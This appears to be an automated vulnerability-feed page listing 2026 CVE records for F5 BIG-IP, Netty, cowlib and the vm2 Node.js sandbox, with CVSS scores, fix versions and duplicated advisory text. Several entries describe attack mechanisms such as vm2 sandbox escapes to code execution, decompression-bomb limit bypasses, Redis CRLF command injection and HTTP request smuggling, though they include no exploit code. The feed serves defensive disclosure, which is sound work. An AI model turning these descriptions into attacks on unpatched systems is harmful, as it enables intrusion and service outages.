
NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability exists in BIG-IP systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can modify configuration objects resulting...
https://kevwire.com/record/CVE-2026-41953
A vulnerability exists in BIG-IP systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can modify configuration objects resulting... (May 13, 2026).
A vulnerability exists in BIG-IP systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can modify configuration objects resulting in privilege escalation.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41953).
Sources:
NVD CVE-2026-41953: https://nvd.nist.gov/vuln/detail/CVE-2026-41953
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160975
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A vulnerability exists in BIG-IP systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can modify configuration objects resulting in privilege escalation.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netty is an asynchronous, event-driven network application framework.
https://kevwire.com/record/CVE-2026-42583
Netty is an asynchronous, event-driven network application framework. (May 13, 2026).
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42583).
Sources:
NVD CVE-2026-42583: https://nvd.nist.gov/vuln/detail/CVE-2026-42583
Vendor advisory (via NVD references): https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netty is an asynchronous, event-driven network application framework.
https://kevwire.com/record/CVE-2026-42584
Netty is an asynchronous, event-driven network application framework. (May 13, 2026).
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
CVSS 7.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42584).
Sources:
NVD CVE-2026-42584: https://nvd.nist.gov/vuln/detail/CVE-2026-42584
Vendor advisory (via NVD references): https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netty is an asynchronous, event-driven network application framework.
https://kevwire.com/record/CVE-2026-42585
Netty is an asynchronous, event-driven network application framework. (May 13, 2026).
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42585).
Sources:
NVD CVE-2026-42585: https://nvd.nist.gov/vuln/detail/CVE-2026-42585
Vendor advisory (via NVD references): https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netty is an asynchronous, event-driven network application framework.
https://kevwire.com/record/CVE-2026-42586
Netty is an asynchronous, event-driven network application framework. (May 13, 2026).
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
CVSS 6.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42586).
Sources:
NVD CVE-2026-42586: https://nvd.nist.gov/vuln/detail/CVE-2026-42586
Vendor advisory (via NVD references): https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netty is an asynchronous, event-driven network application framework.
https://kevwire.com/record/CVE-2026-42587
Netty is an asynchronous, event-driven network application framework. (May 13, 2026).
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42587).
Sources:
NVD CVE-2026-42587: https://nvd.nist.gov/vuln/detail/CVE-2026-42587
Vendor advisory (via NVD references): https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in ninenines cowlib allows unauthenticated remote denial of service via memory exhaustion.
https://kevwire.com/record/CVE-2026-43970
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in ninenines cowlib allows unauthenticated remote denial of service via memory exhaustion. (May 13, 2026).
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in ninenines cowlib allows unauthenticated remote denial of service via memory exhaustion.

cow_spdy:inflate/2 in cowlib passes peer-supplied compressed bytes directly to zlib:inflate/2 with no output size bound. The SPDY header compression dictionary (?ZDICT) is public, and zlib compresses long runs of repeated bytes at roughly 1024:1, so a few kilobytes of SPDY frame payload can decompress to gigabytes on the BEAM heap, OOM-killing the node. A single unauthenticated SPDY frame is sufficient to trigger the condition. The parsers for syn_stream, syn_reply, and headers frame types are all affected via cow_spdy:parse_headers/2.

This issue affects cowlib from 0.1.0 before 2.16.1.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43970).
Sources:
NVD CVE-2026-43970: https://nvd.nist.gov/vuln/detail/CVE-2026-43970
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in ninenines cowlib allows unauthenticated remote denial of service via memory exhaustion.

cow_spdy:inflate/2 in cowlib passes peer-supplied compressed bytes directly to zlib:inflate/2 with no output size bound. The SPDY header compression dictionary (?ZDICT) is public, and zlib compresses long runs of repeated bytes at roughly 1024:1, so a few kilobytes of SPDY frame payload can decompress to gigabytes on the BEAM heap, OOM-killing the node. A single unauthenticated SPDY frame is sufficient to trigger the condition. The parsers for syn_stream, syn_reply, and headers frame types are all affected via cow_spdy:parse_headers/2.

This issue affects cowlib from 0.1.0 before 2.16.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vm2 is an open source vm/sandbox for Node.js.
https://kevwire.com/record/CVE-2026-43997
vm2 is an open source vm/sandbox for Node.js. (May 13, 2026).
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43997).
Sources:
NVD CVE-2026-43997: https://nvd.nist.gov/vuln/detail/CVE-2026-43997
Vendor advisory (via NVD references): https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vm2 is an open source vm/sandbox for Node.js.
https://kevwire.com/record/CVE-2026-43998
vm2 is an open source vm/sandbox for Node.js. (May 13, 2026).
vm2 is an open source vm/sandbox for Node.js. In 3.10.5, NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution. This vulnerability is fixed in 3.11.0.
CVSS 8.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43998).
Sources:
NVD CVE-2026-43998: https://nvd.nist.gov/vuln/detail/CVE-2026-43998
Vendor advisory (via NVD references): https://github.com/patriksimek/vm2/security/advisories/GHSA-cp6g-6699-wx9c
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
vm2 is an open source vm/sandbox for Node.js. In 3.10.5, NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution. This vulnerability is fixed in 3.11.0.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vm2 is an open source vm/sandbox for Node.js.
https://kevwire.com/record/CVE-2026-43999
vm2 is an open source vm/sandbox for Node.js. (May 13, 2026).
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_process and achieve remote code execution. This vulnerability is fixed in 3.11.0.
CVSS 9.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43999).
Sources:
NVD CVE-2026-43999: https://nvd.nist.gov/vuln/detail/CVE-2026-43999
Vendor advisory (via NVD references): https://github.com/patriksimek/vm2/security/advisories/GHSA-947f-4v7f-x2v8
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_process and achieve remote code execution. This vulnerability is fixed in 3.11.0.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vm2 is an open source vm/sandbox for Node.js.
https://kevwire.com/record/CVE-2026-44000
vm2 is an open source vm/sandbox for Node.js. (May 13, 2026).
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.
CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44000).
Sources:
NVD CVE-2026-44000: https://nvd.nist.gov/vuln/detail/CVE-2026-44000
Vendor advisory (via NVD references): https://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vm2 is an open source vm/sandbox for Node.js.
https://kevwire.com/record/CVE-2026-44001
vm2 is an open source vm/sandbox for Node.js. (May 13, 2026).
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path. This vulnerability is fixed in 3.11.0.
CVSS 8.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44001).
Sources:
NVD CVE-2026-44001: https://nvd.nist.gov/vuln/detail/CVE-2026-44001
Vendor advisory (via NVD references): https://github.com/patriksimek/vm2/security/advisories/GHSA-hw58-p9xv-2mjh
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path. This vulnerability is fixed in 3.11.0.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vm2 is an open source vm/sandbox for Node.js.
https://kevwire.com/record/CVE-2026-44004
vm2 is an open source vm/sandbox for Node.js. (May 13, 2026).
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44004).
Sources:
NVD CVE-2026-44004: https://nvd.nist.gov/vuln/detail/CVE-2026-44004
Vendor advisory (via NVD references): https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vm2 is an open source vm/sandbox for Node.js.
https://kevwire.com/record/CVE-2026-44005
vm2 is an open source vm/sandbox for Node.js. (May 13, 2026).
vm2 is an open source vm/sandbox for Node.js. From 3.9.6 to 3.10.5, vm2's bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox This vulnerability is fixed in 3.11.0.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44005).
Sources:
NVD CVE-2026-44005: https://nvd.nist.gov/vuln/detail/CVE-2026-44005
Vendor advisory (via NVD references): https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
vm2 is an open source vm/sandbox for Node.js. From 3.9.6 to 3.10.5, vm2's bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox This vulnerability is fixed in 3.11.0.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vm2 is an open source vm/sandbox for Node.js.
https://kevwire.com/record/CVE-2026-44006
vm2 is an open source vm/sandbox for Node.js. (May 13, 2026).
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44006).
Sources:
NVD CVE-2026-44006: https://nvd.nist.gov/vuln/detail/CVE-2026-44006
Vendor advisory (via NVD references): https://github.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8
